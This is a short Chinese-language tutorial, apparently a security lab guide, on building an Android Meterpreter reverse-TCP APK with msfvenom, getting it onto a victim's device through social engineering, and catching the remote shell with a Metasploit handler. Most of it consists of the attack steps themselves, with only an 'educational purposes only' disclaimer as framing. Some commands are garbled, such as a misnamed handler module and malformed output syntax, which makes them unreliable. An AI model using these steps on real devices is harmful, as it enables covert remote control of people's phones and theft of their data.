介绍
我们将使用以下工具对此进行演示
- 厉害的Linux
- Android设备
- VMware或VirtualBox（虚拟环境）
注意：此实验室仅用于教育目的。作者和/或Infosec对用户执行的任何非法活动概不负责。
步骤一：启动厉害的Linux，
模块模糊搜索：search android/me
这里我们选择android/meterpreter/reverse_tcp
步骤二：创建apk安装包
msfvenom -p android/meterpreter/reverse_tcp lhost=localhost ip lport=local port r>filename.apk
步骤三：将文件通过不通渠道导入android设备（社会工程学）
步骤四：使用脚本程序
use msfvenom/multi/hander
步骤五：
接下来，设置有效负载，侦听器IP（LHOST）和侦听器PORT（LPORT）的选项。在使用MSFvenom创建.apk文件时，我们使用了本地主机IP，端口号5555和有效负载android / meterpreter / reverse_tcp